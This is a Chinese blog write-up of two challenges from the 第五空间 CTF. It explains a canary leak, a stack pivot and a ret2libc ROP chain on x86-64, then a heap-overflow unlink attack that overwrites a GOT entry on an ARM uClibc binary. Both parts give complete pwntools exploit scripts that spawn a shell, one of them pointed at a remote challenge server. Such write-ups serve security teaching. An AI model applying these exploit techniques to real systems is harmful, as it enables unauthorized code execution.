

第五空间部分Writeup

原创

SkYe231_  于 2020-06-26 15:50:23 发布  389  收藏

文章标签: [信息安全](#) [第五空间](#) [第五空间writeup](#) [第五空间Writeup](#) [writeup](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/weixin_43921239/article/details/106965149

版权

twice

分析

保护情况

```
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       No PIE (0x400000)
```

漏洞函数

程序一共有两次输入的机会, 第一次输入长度为 $0x50+9$; 第二次输入长度为: $0x50+0x20$ 。存储字符串的变量 s 距离 rbp 是 $0x60$, 也就是第二次输入是栈溢出, 溢出长度仅可覆盖 rip 。

输入处理函数:

```

int64 __fastcall sub_4007A9(int a1)
{
    unsigned int v2; // [rsp+14h] [rbp-6Ch]
    int length; // [rsp+18h] [rbp-68h]
    int v4; // [rsp+1Ch] [rbp-64h]
    char s[88]; // [rsp+20h] [rbp-60h]
    unsigned __int64 v6; // [rsp+78h] [rbp-8h]

    v6 = __readfsqword(0x28u);
    memset(s, 0, 0x50uLL);
    putchar('>');
    length = sub_40076D(0x50);
    if ( a1 )
    {
        if ( a1 != 1 )
            return 0LL;
        v2 = 0;
    }
    else
    {
        v2 = 1;
    }
    v4 = read(0, s, length); // 第二次输入栈溢出
    puts(s);
    if ( !a1 )
        s[v4 - 1] = 0;
    return v2;
}

```

处理输入长度处理函数：

```

int64 __fastcall sub_40076D(int length)
{
    unsigned int v2; // [rsp+10h] [rbp-4h]

    v2 = 0;
    if ( nCount )
    {
        if ( nCount == 1 )
            v2 = length + 0x20; // 第二次输入
    }
    else
    {
        v2 = length + 9; // 第一次输入
    }
    return v2;
}

```

思路

泄露 canary

存在栈溢出肯定是需要利用栈溢出的，但是程序开始了 canary，所以首先得绕过这个保护。第一次输入的时候可以输入长度刚好是 0x59，可以覆盖 canary 低字节的结束符，然后在后续中打印出来。

```

payload = 'a'*0x59
p.recvuntil(">")
p.send(payload)

```

泄露栈地址

绕过 canary 之后就是利用栈溢出了，溢出长度不多仅仅能够覆盖 rip，也就是不能直接通过普通栈溢出泄露 libc 地址，更别想后面的传参和调用 system。溢出长度不够可以试下栈迁移。

我们只能控制栈上的数据，所以将 A 栈劫持到 B 栈。那就是需要知道我们能控制的栈的地址，就是需要泄露栈的 rbp 中的值（下一个栈的 rbp 内存地址）减去固定偏移，获得当前栈的内存地址。

泄露的 payload 不需要单独构造，在泄露 canary 的时候就一起泄露出来了。因为 canary 是 8 字节，只是最低位是结束符，所以当最低位被覆盖后，puts 会一直输出直到遇到 rbp 中的结束符 (\x00)。

通过调试发现偏移为 0x70。

```
DEBUG] Sent 0x59 bytes:
'a' * 0x59
DEBUG] Received 0x66 bytes:
00000000 61 61 61 61 61 61 61
|aaaa|
*
00000050 61 61 61 61 61 61 61
|...|
00000060 90 dd ff ff ff 7f
00000066
*] canary:0xbcc0fhd1c6427h00
*] stack_addr:0x7fffffffdd90
DEBUG] Received 0x1 bytes:
'\n'

pwndbg>
0x000000000400844 in sub_400676 ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[ REGISTERS ]
RAX 0x7fffffffdd20 ← 0x6161616161616161 ('aaaaaaaa')
RBX 0x0
RCX 0x7ffff7b04260 (__read_nocancel+7) ← cmp rax, -0xfff
RDX 0x59
RDI 0x7fffffffdd20 ← 0x6161616161616161 ('aaaaaaaa')
RSI 0x7fffffffdd20 ← 0x6161616161616161 ('aaaaaaaa')
R8 0x7ffff7dd3780 (_IO_stdfile_1_lock) ← 0x0
R9 0x7ffff7fd700 ← 0x7ffff7fdc700
R10 0x37b
R11 0x346
R12 0x400630 (_start) ← xor ebp, ebx
R13 0x7fffffffde70 ← 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffdd80 → 0x7fffffffdd90 → 0x4008c0 (__libc_csu_init) ← push r
RSP 0x7fffffffdd00 ← 0x0
RIP 0x400844 (sub_400676+155) ← call 0x4005c0
[ DISASM ]
0x40083a <sub_400676+145> mov dword ptr [rbp - 0x64], eax
0x40083d <sub_400676+148> lea rax, [rbp - 0x60]
0x400841 <sub_400676+152> mov rdi, rax
0x400844 <sub_400676+155> call puts@plt <0x4005c0>
s: 0x7fffffffdd20 ← 0x6161616161616161 ('aaaaaaaa')
0x400849 <sub_400676+160> cmp dword ptr [rbp - 0x74], 0
0x40084d <sub_400676+164> jne sub_400676+185 <0x400862>
```

泄露 libc

在第二次输入的时，同时写入要执行的命令和溢出 rbp&rip。首先写入需要执行的命令，写的时候是从 0x8 个字节开始写。因为汇编的 `leave|ret` 最后会将 rsp 指向 rbp + 8 的地址，然后通过 ret 将 rbp + 8 地址的值压入 rip 中。最后还要一个 main 完成 ROP。

```
payload = 'a'*0x8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
```

填充长度，补上 canary，将 rbp 覆盖为预定值，rip 再一次调用 `leave|ret`。

```
payload = payload.ljust(0x58, '\x00') + p64(canary)
payload += p64(stack_addr-0x70) + p64(leave_ret)
```

两次 `leave|ret` rbp、rsp 变化：

```

# begin
RBP 0x7fffffffdd80 → 0x7fffffffdd20 ← 'aaaaaaa#\t@'
RSP 0x7fffffffdd00 ← 0x0
RIP 0x400879 (sub_400676+208) ← leave
# round1
RBP 0x7fffffffdd20 ← 'aaaaaaa#\t@'
RSP 0x7fffffffdd88 → 0x400879 (sub_400676+208) ← leave
RIP 0x40087a (sub_400676+209) ← ret
# round2
RBP 0x6161616161616161 ('aaaaaaa')
RSP 0x7fffffffdd28 → 0x400923 (__libc_csu_init+99) ← pop    rdi
RIP 0x40087a (sub_400676+209) ← ret

```

getshell

溢出长度不够，getshell 还是劫持流程返回到栈上。因为不是正常逻辑的调用，栈空间肯定是变化的，所以需用重新泄露 栈地址（canary 不变）。

```

payload = 'a'*0x8 + p64(pop_rdi) + p64(binsh) + p64(system) + p64(main_addr)
payload = payload.ljust(0x58, '\x00') + p64(canary)
payload += p64(stack_addr-0x70) + p64(leave_ret)

```

exp

```

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author : MrSkYe
# @Email : skye231@foxmail.com
# @File : twice.py
from pwn import *
context.log_level='debug'

#p = process("./pwn")
p = remote('121.36.59.116',9999)
elf = ELF("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

puts_plt = elf.plt['puts']
log.info("puts_plt:"+hex(puts_plt))
puts_got = elf.got['puts']
log.info("puts_got:"+hex(puts_got))
main_addr = 0x040087B
pop_rdi = 0x000000000400923
leave_ret = 0x000000000400879

# Leak canary&stack
payload = 'a'*0x59
p.recvuntil(">")
p.send(payload)

p.recvuntil('a'*0x59)
canary = u64(p.recv(7).rjust(8, '\x00'))
log.info("canary:"+hex(canary))
stack_addr = u64(p.recv(6).ljust(8, '\x00'))
log.info("stack_addr:"+hex(stack_addr))

# Leak libc
payload = 'a'*0x8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
payload = payload.ljust(0x58, '\x00') + p64(canary)

```

```

payload += p64(stack_addr-0x70) + p64(leave_ret)
p.recvuntil(">")
gdb.attach(p)
p.send(payload)

puts_leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
log.info("puts_leak:" + hex(puts_leak))
libc_base = puts_leak - libc.symbols['puts']
log.info("libc_base:" + hex(libc_base))
system = libc_base + libc.symbols['system']
log.info("system:" + hex(system))
binsh = libc_base + libc.search('/bin/sh\x00').next()
log.info("binsh:" + hex(binsh))

payload = 'a'*0x59
p.recvuntil(">")
p.send(payload)

p.recvuntil('a'*0x59)
canary = u64(p.recv(7).rjust(8, '\x00'))
log.info("canary:" + hex(canary))
stack_addr = u64(p.recv(6).ljust(8, '\x00'))
log.info("stack_addr:" + hex(stack_addr))

payload = 'a'*0x8 + p64(pop_rdi) + p64(binsh) + p64(system) + p64(main_addr)
payload = payload.ljust(0x58, '\x00') + p64(canary)
payload += p64(stack_addr-0x70) + p64(leave_ret)
p.recvuntil(">")
p.send(payload)

p.interactive()

```

pwnme

本地调试环境

在两位师兄和群里大佬帮助下实现本地调试
[Ubuntu16.04 安装 qemu 运行 Linux 3.16](#)
[如何 pwn 掉一个 arm 的binary](#)

安装文件

安装qemu:

```
sudo apt install qemu qemu-system-arm
```

安装桥接工具:

```
sudo apt-get install uml-utilities
sudo apt-get install bridge-utils
```

安装交叉编译工具链

```
sudo apt install gcc-arm-linux-gnueabi
```

安装libc

将题目给的 lib 文件中的 so 文件放入到虚拟机的 /lib 文件夹。

名称	压缩后大小	原始大小	类型	修改日期
..				
libc.so.0	21	19	0 文件	2020/6/15 22:14:24
ld-uClibc.so.0	16	14	0 文件	2020/6/15 22:14:24
libthread_db.so.1	24	22	1 文件	2020/6/15 22:14:24
libc.so.1	21	19	1 文件	2020/6/15 22:14:24
ld-uClibc.so.1	21	19	1 文件	2020/6/15 22:14:24
libuClibc-1.0.34.so	243,498	478,204	SO 文件	2020/6/15 7:09:46
libthread_db-1.0.34.so	7,322	17,540	SO 文件	2020/6/15 7:09:46
ld-uClibc-1.0.34.so	15,385	29,448	SO 文件	2020/6/15 7:09:46

建立链接:

```
sudo ln -s ./libuClibc-1.0.34.so ./libc.so.0
sudo ln -s ./ld-uClibc-1.0.34.so ./ld-uClibc.so.0
sudo ln -s ./libthread_db-1.0.34.so ./libthread_db.so.0
```

运行&调试

引用 `bash-c` 的模版，做题 `exp` 就写在这个模版后面:

```
from pwn import *
import sys
context.binary = "a.out"

if sys.argv[1] == "r":
    sh = remote("remote_addr", remote_port)
elif sys.argv[1] == "l":
    sh = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabi", "a.out"])
else:
    sh = process(["qemu-arm", "-g", "1234", "-L", "/usr/arm-linux-gnueabi", "a.out"])

elf = ELF("a.out")
#libc = ELF("/usr/arm-linux-gnueabi/lib/libc.so.6")
# local libc
libc = ELF("./libuClibc-1.0.34.so")
```

模版使用

- `python exp.py r` 打远程
- `python exp.py l` 本地测试
- `python exp.py d/a/b/...` 用于本地调试, `exp` 启动后新启一个终端, 使用 `gdb-multiarch` 就可以通过 `target remote localhost:1234` 来进行调试了

远程和本地跟一个后缀就行了, 本地调试参数不是 `r` & `l` 即可。开启本地调试, 依次执行:

```
# 终端1
python exp.py d
# 终端2
gdb-multiarch
target remote localhost:1234
# 输入c开始运行程序
```

打断点, 我是在终端 2 中直接打断点, 没有在 `exp` 中用 `gdb.attach()`。还有一个问题就是 `gdb` 不能直接查堆, 即使已经装完几个库文件:

```
pwndbg> heap
heap: This command only works with libc debug symbols.
They can probably be installed via the package manager of your choice.
See also: https://sourceware.org/gdb/onlinedocs/gdb/Separate-Debug-Files.html

E.g. on Ubuntu/Debian you might need to do the following steps (for 64-bit and 32-bit binaries):
sudo apt-get install libc6-dbg
sudo dpkg --add-architecture i386
sudo apt-get install libc-dbg:i386

pwndbg>
```

最后是通过找存放堆指针地址的数组（0x002106C）查堆空间。

分析

保护情况

```
Arch:      arm-32-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x10000)
```

漏洞函数

Change 功能没有对输入的长度进行限制；写入全部数据后，还会在最后加一个 \x00 。

```
void mychange()
{
    char v0; // [sp+4h] [bp-20h]
    char v1; // [sp+Ch] [bp-18h]
    int v2; // [sp+14h] [bp-10h]
    int v3; // [sp+18h] [bp-Ch]
    int v4; // [sp+1Ch] [bp-8h]

    if ( chunk_num )
    {
        printf("Index:");
        read(0, (int*)&v1, 8);
        v4 = atoi(&v1);
        if ( chunk_list[2 * v4] )
        {
            printf("Length:");
            read(0, (int*)&v0, 8);
            v3 = atoi(&v0);
            printf("Tag:");
            v2 = read(0, chunk_list[2 * v4], v3); // 堆溢出
            *(_BYTE *)(chunk_list[2 * v4] + v2) = 0; // offbynull
        }
        else
        {
            puts("Invalid");
        }
    }
}
```

思路

布置堆，3号堆用来最后传参 /bin/sh

```
add(0x10)#0
add(0x80)#1
add(0x10)#2
add(0x10,'/bin/sh\x00')#3
```

在0号堆布置一个fake chunk，fd&bk分别是目标地址-12和目标地址-8，并溢出修改1号堆的prev_size和PREV_INUSE等等与fake chunk合并。

```
payload = p32(0)+p32(0x11)+p32(target-12)+p32(target-8)
payload += p32(0x10)+p32(0x88)
change(0,len(payload),payload)
remove(1)
```

之后数组中的0号堆指针指向目标地址-8：

```
pwndbg> x /20wx 0x002106C-4
0x21068: 0x00000010 0x00021060 0x00000000 0x00000000
0x21078: 0x00000010 0x000220b8 0x00000010 0x000220d0
0x21088: 0x00000000 0x00000000 0x00000000 0x00000000
0x21098: 0x00000000 0x00000000 0x00000000 0x00000000
0x210a8: 0x00000000 0x00000000 0x00000000 0x00000000
pwndbg>
```

show功能是从数组上找堆地址，然后在输出堆内容，所以往数组上写got表地址，覆盖堆指针，泄露libc地址。同时写入需要修改的函数got表地址，用Change修改（原理和show一样）。

```
payload = p32(elf.got['puts'])*5+p32(elf.got['free'])*4
change(0,len(payload),payload)
show()
.....
change(2,4,p32(system))
remove(3)
```

exp

来自师兄的exp，我删了多余的堆，和调整了一下填充内容。

```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @File : exp.py
# @Author : hope
# @site : https://hop11.github.io/
from pwn import *
import sys
context.binary = "a.out"

if sys.argv[1] == "r":
    sh = remote("remote_addr", remote_port)
elif sys.argv[1] == "l":
    sh = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabi", "a.out"])
else:
    sh = process(["qemu-arm", "-g", "1234", "-L", "/usr/arm-linux-gnueabi", "a.out"])

elf = ELF("a.out")
#libc = ELF("/usr/arm-linux-gnueabi/lib/libc.so.6")
```



```

libc = ELF("./usr/arm-linux-gnueabihf/lib/libc.so")
# 本地 libc
libc = ELF("./libuClibc-1.0.34.so")
context.log_level = "debug"

def show():
    sh.recvuntil(">>> ")
    sh.sendline("1")
def add(length, content='a'):
    sh.recvuntil(">>> ")
    sh.sendline("2")
    sh.recvuntil("Length:")
    sh.sendline(str(length))
    sh.recvuntil("Tag:")
    sh.send(content)
def change(index, length, content):
    sh.recvuntil(">>> ")
    sh.sendline("3")
    sh.recvuntil("Index:")
    sh.sendline(str(index))
    sh.recvuntil("Length:")
    sh.sendline(str(length))
    sh.recvuntil("Tag:")
    sh.send(content)
def remove(index):
    sh.recvuntil(">>> ")
    sh.sendline("4")
    sh.recvuntil("Tag:")
    sh.sendline(str(index))
# 堆数组地址
target = 0x002106C

add(0x10)#0 溢出
add(0x80)#1 被溢出
add(0x10)#2 用来修改函数
add(0x10, '/bin/sh\x00')#3 传参

# unlink
payload = p32(0)+p32(0x11)+p32(target-12)+p32(target-8)
payload += p32(0x10)+p32(0x88)
change(0, len(payload), payload)
remove(1)

# Leak libc
payload = p32(0x0)*3+p32(elf.got['puts'])
payload += p32(0x0)*3+p32(elf.got['free'])
change(0, len(payload), payload)
show()
sh.recvuntil("0 : ")

puts = u32(sh.recv(4))
print 'puts:'+hex(puts)
libc_base = puts - libc.symbols['puts']
print 'libc_base:'+hex(libc_base)
system = libc_base + libc.symbols['system']
print 'system:'+hex(system)

# overwrite free
change(2, 4, p32(system))
remove(3)

```

```
sh.interactive()
```